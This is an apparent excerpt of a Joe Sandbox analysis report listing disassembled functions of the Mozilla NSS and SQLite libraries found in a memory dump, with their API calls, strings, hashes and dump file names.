Function 6C5CECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5CED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5CEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5CEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5CEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5CF483
%s at line %d of [%.10s], xrefs: 6C5CF492
database corruption, xrefs: 6C5CF48D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 41efeabceaa7046b8fc14a07c3db2341f949bcd3fe065241061ff2ac86d7b7c8
Instruction ID: a6fc4c16124588fc07157fde49822ddd0c4c48da5ac9cbbd055d6d3f55cfd8e4
Opcode Fuzzy Hash: 41efeabceaa7046b8fc14a07c3db2341f949bcd3fe065241061ff2ac86d7b7c8
Instruction Fuzzy Hash: 2D620034B04245CFDB04CFA8CC8479ABBB1BF45318F18469CD8566BB92D775E886CB92

Function 6C66FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C66FD06

Part of subcall function 6C66F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C66F696
Part of subcall function 6C66F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C66F789
Part of subcall function 6C66F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C66F796
Part of subcall function 6C66F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C66F79F
Part of subcall function 6C66F670: SECITEM_DupItem_Util.NSS3 ref: 6C66F7F0

Part of subcall function 6C693440: PK11_GetAllTokens.NSS3 ref: 6C693481
Part of subcall function 6C693440: PR_SetError.NSS3(00000000,00000000), ref: 6C6934A3
Part of subcall function 6C693440: TlsGetValue.KERNEL32 ref: 6C69352E
Part of subcall function 6C693440: EnterCriticalSection.KERNEL32(?), ref: 6C693542
Part of subcall function 6C693440: PR_Unlock.NSS3(?), ref: 6C69355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C66FDAD

Part of subcall function 6C69FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C649003,?), ref: 6C69FD91
Part of subcall function 6C69FD80: PORT_Alloc_Util.NSS3(A4686C6A,?), ref: 6C69FDA2
Part of subcall function 6C69FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6A,?,?), ref: 6C69FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C66FE00

Part of subcall function 6C69FD80: free.MOZGLUE(00000000,?,?), ref: 6C69FDD1

Part of subcall function 6C68E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C68E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C66FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C66FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C66FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C66FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C66FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C66FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C670007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C670029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C670044

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 42fd2e1ee1e24fb96fbd84f1258cf731535e0e59ec586d991a8e9738947e123b
Instruction ID: d8e7c5bab9a4b2bfc9b8997eddf0b3885c146233459548289b5ed8d917b33be1
Opcode Fuzzy Hash: 42fd2e1ee1e24fb96fbd84f1258cf731535e0e59ec586d991a8e9738947e123b
Instruction Fuzzy Hash: 9BB1D4B1604301AFE304CF29C840B6ABBE5FF89308F548A2DF95987A41E771E945CB96

Function 6C667D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C667DDC

Part of subcall function 6C6A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C648298,?,?,?,6C63FCE5,?), ref: 6C6A07BF
Part of subcall function 6C6A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6A07E6
Part of subcall function 6C6A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A081B
Part of subcall function 6C6A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C667DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C667F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C667F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C667F98
PK11_FreeSymKey.NSS3(?), ref: 6C667FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C667FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C668000

Part of subcall function 6C689430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C667F0C,?,00000000,00000000,00000000,?), ref: 6C68943B
Part of subcall function 6C689430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C68946B
Part of subcall function 6C689430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C689546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C668110
PK11_FreeSymKey.NSS3(00000000), ref: 6C66811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C66822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C66823C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: d6ef1bbae7569d927ab78dd1a983d44b264fc4b8b15339a6e9dca73a4f93b459
Instruction ID: 3f1bb3e08b51969067f05ba4c87baa7371a9997d0376b0ca609ffbcabf4c8e85
Opcode Fuzzy Hash: d6ef1bbae7569d927ab78dd1a983d44b264fc4b8b15339a6e9dca73a4f93b459
Instruction Fuzzy Hash: F2C185B1D002599FDB21CF25CC40FDAB7B8AF0A308F0085E5E91DA6A51E7319E85CFA5

Function 6C5DAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C6FCF46,?,6C5CCDBD,?,6C6FBF31,?,?,?,?,?,?,?), ref: 6C5DB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6FCF46,?,6C5CCDBD,?,6C6FBF31), ref: 6C5DB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C6FCF46,?,6C5CCDBD,?,6C6FBF31), ref: 6C5DB0A2
CloseHandle.KERNEL32(?,?,6C6FCF46,?,6C5CCDBD,?,6C6FBF31,?,?,?,?,?,?,?,?,?), ref: 6C5DB100
sqlite3_free.NSS3(?,?,00000002,?,6C6FCF46,?,6C5CCDBD,?,6C6FBF31,?,?,?,?,?,?,?), ref: 6C5DB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C6FCF46,?,6C5CCDBD,?,6C6FBF31), ref: 6C5DB12D

Part of subcall function 6C5C9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5DC6FD,?,?,?,?,6C62F965,00000000), ref: 6C5C9F0E
Part of subcall function 6C5C9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C62F965,00000000), ref: 6C5C9F5D

Strings

`ul, xrefs: 6C5DB0DF

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `ul
API String ID: 3155957115-2372496824
Opcode ID: f37fa78a8e52e5c7b9af66a1433cefe8c7970f13bea44d22f00f68649f6e612b
Instruction ID: f6041cd750b52bc4f6ffc6d8e1eb934f447f6f5e14ef46c1276cb605460a3af3
Opcode Fuzzy Hash: f37fa78a8e52e5c7b9af66a1433cefe8c7970f13bea44d22f00f68649f6e612b
Instruction Fuzzy Hash: 4291BAB0A04306CBEB04DF69DC84A6BB7B2BF85308F154A6DE41697A50EB31F840CB56

Function 6C670EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C670F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C670FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C671006
PK11_FreeSymKey.NSS3(?), ref: 6C67101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C671033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C67103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C671048
memcpy.VCRUNTIME140(?,?,?), ref: 6C67108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6710BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6710D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C67112E

Part of subcall function 6C671570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6708C4,?,?), ref: 6C6715B8
Part of subcall function 6C671570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6708C4,?,?), ref: 6C6715C1
Part of subcall function 6C671570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C67162E
Part of subcall function 6C671570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C671637

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: aaa37ebe19d98722cfa555772574c901b830a67e21b265247409dddacb83d1c4
Instruction ID: a5d26078c820aaeb473737c873be0fb8f14ad3db5cdc754a4c873e46bf05926b
Opcode Fuzzy Hash: aaa37ebe19d98722cfa555772574c901b830a67e21b265247409dddacb83d1c4
Instruction Fuzzy Hash: F971D571E002058FDB14CFA5CC94AAAB7F4BF44318F14892EE90D97711EB71D954CBA9

Function 6C691CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C691F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C692166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C69228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6923B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C69241C

Strings

token, xrefs: 6C691F2C
manufacturer, xrefs: 6C692179
serial, xrefs: 6C6922A2
model, xrefs: 6C6923CB, 6C6923EC

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 3230bd5ae6f2475023d4f639cda0f62ae4ea85a0fd442f7d32e9ebb522b12b79
Instruction ID: e12e2433a315054c501811a7b83d123fc2d91456ee0f6e42c949e4d123c93628
Opcode Fuzzy Hash: 3230bd5ae6f2475023d4f639cda0f62ae4ea85a0fd442f7d32e9ebb522b12b79
Instruction Fuzzy Hash: C70210A2E0CBCD6EF7318671C48C3D77BE49B45328F1C166EC6DE46683C3A859898356

Function 6C5D0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5CCA30: EnterCriticalSection.KERNEL32(?,?,?,6C62F9C9,?,6C62F4DA,6C62F9C9,?,?,6C5F369A), ref: 6C5CCA7A
Part of subcall function 6C5CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5CCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5D103E
EnterCriticalSection.KERNEL32(?), ref: 6C5D1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5D1190
sqlite3_free.NSS3(00000000), ref: 6C5D1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5D126E
sqlite3_free.NSS3(?), ref: 6C5D127F

Strings

winAccess, xrefs: 6C5D129B
Pul, xrefs: 6C5D109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5D1267

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pul$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1063654802
Opcode ID: 6ca9c0a9795ebf903b7a824182115097a32ea5185d3499e5b694e7bd93d0d841
Instruction ID: 2b5f53b2a8ebaaa94764f5514368ce10ebe3549300149d247abd5c9dd069acb6
Opcode Fuzzy Hash: 6ca9c0a9795ebf903b7a824182115097a32ea5185d3499e5b694e7bd93d0d841
Instruction Fuzzy Hash: 4D71D532705305DBEB049FA9ED89A6F3376FB86334F150639E91287A80DB31E941C796

Function 6C696C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C641C6F,00000000,00000004,?,?), ref: 6C696C3F

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C641C6F,00000000,00000004,?,?), ref: 6C696C60
PR_ExplodeTime.NSS3(00000000,6C641C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C641C6F,00000000,00000004,?,?), ref: 6C696C94

Strings

gfff, xrefs: 6C696CFD
gfff, xrefs: 6C696D9C
gfff, xrefs: 6C696D66
gfff, xrefs: 6C696CF5
gfff, xrefs: 6C696D30

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: c74b622492269008192928048b898fd6a3f8e773805ff2ab6080145ee909f87e
Instruction ID: df068fdfb0824519813807d6cefb481da19cb42408f56cf0ebb0c6be807df8ed
Opcode Fuzzy Hash: c74b622492269008192928048b898fd6a3f8e773805ff2ab6080145ee909f87e
Instruction Fuzzy Hash: 3A513B72B016494FC708CDADDC526DEBBDAABA4310F48C23AE842DB781D678E906C751

Function 6C710F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C711027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7110B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C711353

Strings

-- , xrefs: 6C710FF5
'%.*q', xrefs: 6C711217, 6C711292
NULL, xrefs: 6C71119E
zeroblob(%d), xrefs: 6C711223
%lld, xrefs: 6C71114B
%02x, xrefs: 6C7112F6
$, xrefs: 6C7112A0

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: f651d998669c6fc4f89cb8bd9520dc824735bc1c6d75858c0061e2e7f3616db5
Instruction ID: d8b97c4f71e4b435df266a35befc2c7b609102f3fabdf549c02e743239264fdf
Opcode Fuzzy Hash: f651d998669c6fc4f89cb8bd9520dc824735bc1c6d75858c0061e2e7f3616db5
Instruction Fuzzy Hash: 30E1BF71A0C3809FD704CF18C980A6BBBF1BF96358F18892DE9958BB51E771E945CB42

Function 6C718FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C718FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7190DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C719118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C71915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7191C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C719209

Strings

3333, xrefs: 6C71925E
UUUU, xrefs: 6C719255

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: b9a212b42e8b9555df1f4bafbdcdef31a2d13868348205a0beaf5b3aec851d09
Instruction ID: 1791f80c434d36dcdd8abfed9f9e24d02974e35e96e10df1f87d5196532e5031
Opcode Fuzzy Hash: b9a212b42e8b9555df1f4bafbdcdef31a2d13868348205a0beaf5b3aec851d09
Instruction Fuzzy Hash: 14A19E72E001159FDB04CB69CD84B9EB7B5BB88324F0D4179E909A7741E736EC52CBA0

Function 6C6ABD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6ABD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6ABD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6ABD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6ABD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C6ABDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C6ABDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C6ABDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C6ABE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C6ABE1E

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: a175c4b58da1f134bffc26c90cb93a1b48cbf1230c1501e11e17bd3ca213bccd
Instruction ID: b6b67aa912bece7ec7f3da219675199073d542a42357e8654c273832334def6d
Opcode Fuzzy Hash: a175c4b58da1f134bffc26c90cb93a1b48cbf1230c1501e11e17bd3ca213bccd
Instruction Fuzzy Hash: 5D21A5B6E0429D57FB0056D69C43F8B72B4ABD278DF081124F917EE641F7109C1A86EE

Function 6C758D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7A14E4,6C70CC70), ref: 6C758D47
PR_GetCurrentThread.NSS3 ref: 6C758D98

Part of subcall function 6C630F00: PR_GetPageSize.NSS3(6C630936,FFFFE8AE,?,6C5C16B7,00000000,?,6C630936,00000000,?,6C5C204A), ref: 6C630F1B
Part of subcall function 6C630F00: PR_NewLogModule.NSS3(clock,6C630936,FFFFE8AE,?,6C5C16B7,00000000,?,6C630936,00000000,?,6C5C204A), ref: 6C630F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C758E7B
htons.WSOCK32(?), ref: 6C758EDB
PR_GetCurrentThread.NSS3 ref: 6C758F99
PR_GetCurrentThread.NSS3 ref: 6C75910A

Strings

%u.%u.%u.%u, xrefs: 6C758E74

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
